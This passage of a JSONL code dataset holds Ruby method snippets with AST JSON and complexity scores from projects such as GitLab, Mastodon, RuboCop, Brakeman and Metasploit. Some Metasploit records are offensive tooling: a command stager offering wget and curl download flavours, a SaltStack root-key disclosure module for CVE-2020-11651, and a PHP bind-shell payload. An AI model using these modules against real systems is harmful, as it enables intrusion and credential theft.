end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"httpUrlToRepo\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"oauth2_url\",{\"type\":\"send\",\"children\":[null,\"oauth2\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"httpUrlToRepo\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_url\",{\"type\":\"lvar\",\"children\":[\"oauth2_url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"matched_snippet\",{\"type\":\"send\",\"children\":[null,\"find_matched_snippet\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched_snippet\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched_snippet\"]},\"create_repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched_snippet\"]},\"repository\"]},\"fetch_as_mirror\",{\"type\":\"lvar\",\"children\":[\"oauth2_url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snippets\"]},\"RepositoryValidationService\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"matched_snippet\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"error?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleanup_snippet_repository\",{\"type\":\"lvar\",\"children\":[\"matched_snippet\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snippets\"]},\"UpdateStatisticsService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"matched_snippet\"]}]},\"execute\"]}]}]}","id":"d57a43d9-2a67-4fb6-965e-8ab54bff92a5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/cmd_stager.rb","start_line":52,"raw_source":"def initialize(info = {})\n    super\n\n    flavors = module_flavors\n    flavors = STAGERS.keys if flavors.empty?\n    flavors.unshift('auto')\n\n    server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}]\n    register_options(\n      [\n        OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions),\n        OptPort.new('SRVPORT', [true, \"The local port to listen on.\", 8080], conditions: server_conditions)\n      ])\n\n    register_advanced_options(\n      [\n        OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),\n        OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']),\n        OptString.new('CMDSTAGER::TEMP', [false, 'Writable directory for staged files']),\n        OptString.new('CMDSTAGER::URIPATH', [false, 'Payload URI path for supported stagers']),\n        OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false])\n      ], self.class)\n  end","complexity_score":21.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"flavors\",{\"type\":\"send\",\"children\":[null,\"module_flavors\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flavors\"]},\"empty?\"]},{\"type\":\"lvasgn\",\"children\":[\"flavors\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STAGERS\"]},\"keys\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flavors\"]},\"unshift\",{\"type\":\"str\",\"children\":[\"auto\"]}]},{\"type\":\"lvasgn\",\"children\":[\"server_conditions\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CMDSTAGER::FLAVOR\"]},{\"type\":\"str\",\"children\":[\"in\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"auto\"]},{\"type\":\"str\",\"children\":[\"tftp\"]},{\"type\":\"str\",\"children\":[\"wget\"]},{\"type\":\"str\",\"children\":[\"curl\"]},{\"type\":\"str\",\"children\":[\"fetch\"]},{\"type\":\"str\",\"children\":[\"lwprequest\"]},{\"type\":\"str\",\"children\":[\"psh_invokewebrequest\"]},{\"type\":\"str\",\"children\":[\"ftp_http\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddressLocal\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.\"]},{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"lvar\",\"children\":[\"server_conditions\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The local port to listen on.\"]},{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"lvar\",\"children\":[\"server_conditions\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"CMDSTAGER::FLAVOR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The CMD Stager to use.\"]},{\"type\":\"str\",\"children\":[\"auto\"]},{\"type\":\"lvar\",\"children\":[\"flavors\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CMDSTAGER::DECODER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The decoder stub to use.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CMDSTAGER::TEMP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Writable directory for staged files\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CMDSTAGER::URIPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Payload URI path for supported stagers\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"CMDSTAGER::SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use SSL/TLS for supported stagers\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"45169d60-d001-403f-bbb9-89e5d33e6f28"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ml/model_versions/update_model_version_service.rb","start_line":6,"raw_source":"def initialize(project, name, version, description)\n        @project = project\n        @name = name\n        @version = version\n        @description = description\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"arg\",\"children\":[\"description\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@description\",{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]}","id":"b62c9842-8de8-4b89-b18b-39f4ab350db8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/saltstack_salt_root_key.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SaltStack Salt Master Server Root Key Disclosure',\n        'Description' => %q{\n          This module exploits unauthenticated access to the _prep_auth_info()\n          method in the SaltStack Salt master's ZeroMQ request server, for\n          versions 2019.2.3 and earlier and 3000.1 and earlier, to disclose the\n          root key used to authenticate administrative commands to the master.\n\n          VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as\n          well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual\n          Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,\n          1.3, 1.5, and 1.6 in certain configurations, are known to be affected\n          by the Salt vulnerabilities.\n\n          Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as\n          well as Vulhub's Docker image.\n        },\n        'Author' => [\n          'F-Secure', # Discovery\n          'wvu' # Module\n        ],\n        'References' => [\n          ['CVE', '2020-11651'], # Auth bypass (used by this module)\n          ['CVE', '2020-11652'], # Authed directory traversals (not used here)\n          ['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],\n          ['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],\n          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],\n          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],\n          ['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']\n        ],\n        'DisclosureDate' => '2020-04-30', # F-Secure advisory\n        'License' => MSF_LICENSE,\n        'Actions' => [\n          ['Dump', { 'Description' => 'Dump root key from Salt master' }]\n        ],\n        'DefaultAction' => 'Dump',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(4506)\n    ])\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SaltStack Salt Master Server Root Key Disclosure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits unauthenticated access to the _prep_auth_info()\\n\"]},{\"type\":\"str\",\"children\":[\"          method in the SaltStack Salt master's ZeroMQ request server, for\\n\"]},{\"type\":\"str\",\"children\":[\"          versions 2019.2.3 and earlier and 3000.1 and earlier, to disclose the\\n\"]},{\"type\":\"str\",\"children\":[\"          root key used to authenticate administrative commands to the master.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as\\n\"]},{\"type\":\"str\",\"children\":[\"          well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual\\n\"]},{\"type\":\"str\",\"children\":[\"          Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,\\n\"]},{\"type\":\"str\",\"children\":[\"          1.3, 1.5, and 1.6 in certain configurations, are known to be affected\\n\"]},{\"type\":\"str\",\"children\":[\"          by the Salt vulnerabilities.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as\\n\"]},{\"type\":\"str\",\"children\":[\"          well as Vulhub's Docker image.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"F-Secure\"]},{\"type\":\"str\",\"children\":[\"wvu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-11651\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-11652\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://labs.f-secure.com/advisories/saltstack-authorization-bypass\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.vmware.com/security/advisories/VMSA-2020-0009.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-04-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Dump\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Dump root key from Salt master\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"Dump\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[4506]}]}]}]}]}]}","id":"9b2f5753-f68e-4777-bf65-49aad0dcb3ef"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity.rb","start_line":133,"raw_source":"def dereference_object!\n    return unless @object.is_a?(String)\n\n    dereferencer = ActivityPub::Dereferencer.new(@object, permitted_origin: @account.uri, signature_actor: signed_fetch_actor)\n\n    @object = dereferencer.object unless dereferencer.object.nil?\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"dereference_object!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"dereferencer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Dereferencer\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@object\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permitted_origin\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"signature_actor\"]},{\"type\":\"send\",\"children\":[null,\"signed_fetch_actor\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dereferencer\"]},\"object\"]},\"nil?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@object\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dereferencer\"]},\"object\"]}]}]}]}]}","id":"514591f4-c043-4177-80e7-e697f4c1c084"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb","start_line":127,"raw_source":"def cmd_powershell_import_tabs(str, words)\n    if words.length == 1 # Just the command\n      tab_complete_filenames(str, words)\n    end\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_powershell_import_tabs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"arg\",\"children\":[\"words\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"tab_complete_filenames\",{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"lvar\",\"children\":[\"words\"]}]},null]}]}","id":"021177d1-0086-43f2-a7ba-066db061b520"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_array_constructor.rb","start_line":47,"raw_source":"def on_send(node)\n          return unless (array_literal = redundant_array_constructor(node))\n\n          receiver = node.receiver\n          selector = node.loc.selector\n\n          if node.method?(:new)\n            range = receiver.source_range.join(selector)\n            replacement = array_literal\n          elsif node.method?(:Array)\n            range = selector\n            replacement = array_literal\n          else\n            range = receiver\n            replacement = selector.begin.join(node.source_range.end)\n          end\n\n          register_offense(range, node, replacement)\n        end","complexity_score":29.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"array_literal\",{\"type\":\"send\",\"children\":[null,\"redundant_array_constructor\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"receiver\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},{\"type\":\"lvasgn\",\"children\":[\"selector\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},\"source_range\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"lvar\",\"children\":[\"array_literal\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"Array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]},{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"lvar\",\"children\":[\"array_literal\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"lvar\",\"children\":[\"receiver\"]}]},{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selector\"]},\"begin\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"end\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]}]}]}","id":"145b089e-e2c6-41ce-9cea-19e481d90169"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_unscoped_find.rb","start_line":9,"raw_source":"def run_check\n    Brakeman.debug(\"Finding instances of #find on models with associations\")\n\n    associated_model_names = active_record_models.keys.select do |name|\n      if belongs_to = active_record_models[name].associations[:belongs_to]\n        not optional_belongs_to? belongs_to\n      else\n        false\n      end\n    end\n\n    calls = tracker.find_call :method => [:find, :find_by_id, :find_by_id!],\n                              :targets => associated_model_names\n\n    calls.each do |call|\n      process_result call\n    end\n\n    tracker.find_call(:methods => [:find_by, :find_by!], :targets => associated_model_names).each do |result|\n      arg = result[:call].first_arg\n\n      if hash? arg and hash_access(arg, :id)\n        process_result result\n      end\n    end\n  end","complexity_score":38.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Finding instances of #find on models with associations\"]}]},{\"type\":\"lvasgn\",\"children\":[\"associated_model_names\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_record_models\"]},\"keys\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"belongs_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_record_models\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"associations\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"belongs_to\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"optional_belongs_to?\",{\"type\":\"lvar\",\"children\":[\"belongs_to\"]}]},\"!\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"calls\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"find\"]},{\"type\":\"sym\",\"children\":[\"find_by_id\"]},{\"type\":\"sym\",\"children\":[\"find_by_id!\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"targets\"]},{\"type\":\"lvar\",\"children\":[\"associated_model_names\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calls\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[null,\"process_result\",{\"type\":\"lvar\",\"children\":[\"call\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"methods\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"find_by\"]},{\"type\":\"sym\",\"children\":[\"find_by!\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"targets\"]},{\"type\":\"lvar\",\"children\":[\"associated_model_names\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"first_arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hash?\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[null,\"hash_access\",{\"type\":\"lvar\",\"children\":[\"arg\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"process_result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},null]}]}]}]}]}","id":"2ec03981-c30b-4d92-9320-2ecbe06e855c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/php/bind_php.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'PHP Command Shell, Bind TCP (via PHP)',\n        'Description' => 'Listen for a connection and spawn a command shell via php',\n        'Author' => ['egypt', 'diaul <diaul[at]devilopers.org>',],\n        'License' => BSD_LICENSE,\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Handler' => Msf::Handler::BindTcp,\n        'Session' => Msf::Sessions::CommandShell,\n        'PayloadType' => 'cmd',\n        'Payload' => {\n          'Offsets' => {},\n          'Payload' => ''\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"PHP Command Shell, Bind TCP (via PHP)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Listen for a connection and spawn a command shell via 